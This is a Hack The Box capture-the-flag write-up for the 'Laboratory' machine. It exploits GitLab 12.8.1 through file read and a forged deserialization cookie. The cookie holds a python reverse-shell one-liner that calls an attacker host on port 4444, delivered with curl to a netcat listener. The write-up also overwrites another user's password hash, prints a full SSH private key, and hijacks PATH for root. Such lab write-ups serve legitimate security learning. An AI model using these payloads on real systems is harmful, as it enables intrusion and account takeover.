Laboratory - [HTB]

Cover Image for Laboratory - [HTB]

Table of Contents


    Laboratory is an easy (MEDIUM) linux machine where the attacker will have to exploit Git Lab's web site in order to get a reverse shell, then he or she will have to change the password from a Git Lab's user and finally do some reversing of a setuid binary to a later use of the path hijacking technique in order to become root.


    As always, let's start scanning all open port in the machine.

    kali@kali:$ nmap -sS -p- --open -T5 -oN AllPorts.txt
    # Nmap 7.91 scan initiated Sat Nov 14 14:00:49 2020 as: nmap -sS -p- --open -T5 -oN AllPorts.txt
    Nmap scan report for
    Host is up (0.042s latency).
    Not shown: 65532 filtered ports
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    22/tcp  open  ssh
    80/tcp  open  http
    443/tcp open  https
    # Nmap done at Sat Nov 14 14:02:41 2020 -- 1 IP address (1 host up) scanned in 111.55 seconds

    Then, let's scan all open ports in order to get further information.

    kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/Laboratory$ sudo nmap -sC -sV -p22,80,443 -oN PortsDepth.txt
    [sudo] password for kali: 
    Starting Nmap 7.91 ( ) at 2020-11-19 13:57 EST
    Nmap scan report for (
    Host is up (0.12s latency).
    22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
    |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
    |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
    80/tcp  open  http     Apache httpd 2.4.41
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Did not follow redirect to https://laboratory.htb/
    443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: The Laboratory
    | ssl-cert: Subject: commonName=laboratory.htb
    | Subject Alternative Name: DNS:git.laboratory.htb
    | Not valid before: 2020-07-05T10:39:28
    |_Not valid after:  2024-03-03T10:39:28
    | tls-alpn: 
    |_  http/1.1
    Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Service detection performed. Please report any incorrect results at .
    Nmap done: 1 IP address (1 host up) scanned in 20.45 seconds

    As we can see, nmap provide us two different domains laboratoy.htb and git.laboratory.htb. Once added these domains to the /etc/hosts file we can get access to the different web pages.

    In the laboratory.htb page there is nothing useful, so let's jump into the git page.

    The laboratory main page

    In the git.laboratory.htb page appears to be a GitLab page where we can register, create repositories, etc.

    Git Lab page

    If you try to login with an invented email domain you will get the following error.

    Domain error

    In order to solve this problem, you will need to write "@laboratory.htb" as the email domain. Then, looking inside "Projects/Explore projects", there is a a Git Lab repository named "SecureWebsite" and owned by Dexter McPherson where we can find the source code of the laboratory.htb page. However, knowing any of this help us at all.

    SecurityWebSite repository


    Looking for the Git Lab version (12.8.1) (You can know it going to the following link). This version is not only affected by Arbitrary File Read vulnerability but also with an RCE. You can find everything in this link (The process to trigger the vulnerability is explained in the comments). However, all the steps that you need to execute in order to get a reverse shell will be explained here.

    First of all, if we want our RCE to work we need the secret_key_base key of the gitlab-rails which can be obtained in the following path /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml. In order to obtain it, we need to create two "New project"s with our account.

    Then, in one of them create an issue with the following description.


    Submit the issue and move it to the other project.


    Now, you will see that the description has changed to an attach file, that can be downloaded.


    At line 8 will be our secret key.

    secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

    Now, we need the same Git Lab version to create our payload. In order to create a our own Git Lab page we are going to use Docker.

    sudo service docker start
    sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
    export GITLAB_HOME=/srv/gitlab
    sudo docker run --detach \
       --hostname \
       --publish 443:443 --publish 80:80 --publish 22:22 \
       --name gitlab \
       --restart always \
       --volume $GITLAB_HOME/config:/etc/gitlab \
       --volume $GITLAB_HOME/logs:/var/log/gitlab \
       --volume $GITLAB_HOME/data:/var/opt/gitlab \
    sudo docker start gitlab
    sudo docker exec -it gitlab /bin/bash

    After that, we need to modify the secret_key_base variable inside the file secrets.yml of our container.

    root@gitlab:/#  nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

    Finally, using gitlab-rails console we can create a cookie that once unserialized will execute code, in our case, a python command that will create a reverse shell.

    Note: Do not forget to change the IP and port. Note 2: Do not put any port into listening mode with nectat or the command won't finish.

    root@gitlab:/# gitlab-rails console
    request =
    request.env["action_dispatch.cookies_serializer"] = :marshal
    cookies = request.cookie_jar
    erb ="<%= `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'` %>")
    depr =, :result, "@result",
    cookies.signed[:cookie] = depr
    puts cookies[:cookie]

    Now, we can create a listening port with netcat and send the cookie with the following script, passing the cookie as a parameter.

    curl -k -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=$1"

    After, executing the exploit we obtain a shell that can be upgrade using python3.

    kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/Laboratory$ nc -nlvp 4444
    listening on [any] 4444 ...
    connect to [] from (UNKNOWN) [] 39830
    /bin/sh: 0: can't access tty; job control turned off
    $ id
    uid=998(git) gid=998(git) groups=998(git)
    $ python3 -c 'import pty; pty.spawn("/bin/bash")'
    python3 -c 'import pty; pty.spawn("/bin/bash")'

    Privilege escalation 1

    Now that we have access to the Git Lab container, we can change the Dexter's password for our account's password (12345678). In order to do so, we need to use gitlab-rails console, writing the following commands.

    git@git:~/gitlab-rails/working$ gitlab-rails console
     GitLab:       12.8.1 (d18b43a5f5a) FOSS
     GitLab Shell: 11.0.0
     PostgreSQL:   10.12
    Loading production environment (Rails 6.0.2)
    irb(main):001:0> u = User.find_by_username('Marmeus')
    => #<User id:13 @Marmeus>
    irb(main):002:0> u.encrypted_password
    => "$2a$10$hXT8gY1srlKQjpmnerADAup8lHblibU/PtRRkblXfrA7XeSMxVoIO"
    irb(main):003:0> u = User.find_by_username('Dexter')
    => #<User id:1 @dexter>
    irb(main):004:0> u.encrypted_password="$2a$10$hXT8gY1srlKQjpmnerADAup8lHblibU/PtRRkblXfrA7XeSMxVoIO"
    => "$2a$10$hXT8gY1srlKQjpmnerADAup8lHblibU/PtRRkblXfrA7XeSMxVoIO"
    Enqueued ActionMailer::DeliveryJob (Job ID: 00ba9cd0-97bb-4074-b55a-67b92938a5d1) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007f58fcaaac88 @uri=#<URI::GID gid://gitlab/User/1>>
    => true

    Now, we can get access to the Dexter's Git Lab account with the password "12345678", discovering a new repository named "SecureDocker".


    Inside the "SecureDocker" repository there is an id_rsa file that can be used to access to the machine through SSH as Dexte, getting the user flag.

    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

    Privilege escalation 2

    In order to get information about the machine we can use LinPeas, which provides us with a setuid binary owned by root with execution privileges for dexter.

    -rwsr-xr-x 1 root   dexter           17K Aug 28 14:52 /usr/local/bin/docker-security

    We can use Ghidra to decompile it and analyze its code.

    Ghidra binary analysis

    As we can see in the previous picture, the binary doesn't use absolute paths in order to execute chmod. Hence, we can use the path hijacking technique to made the program to execute a fake chmod instead of the original one. In order to do so, you need to create a script named "chmod" in the /tmp/ folder which executes bash.


    Then, we need to add execution permissions to the script and modify our shell's path variable so the shell checks first if the binary is located at /tmp/.

    export PATH=/tmp:$PATH

    Finally, we need to execute the docker-security binary to become root, getting the root flag.


    Despite the last part is easy if you know how to decompile a program, obtaining a foothold was not easy at all. So, in my opinion this machine should be considered as medium not easy level.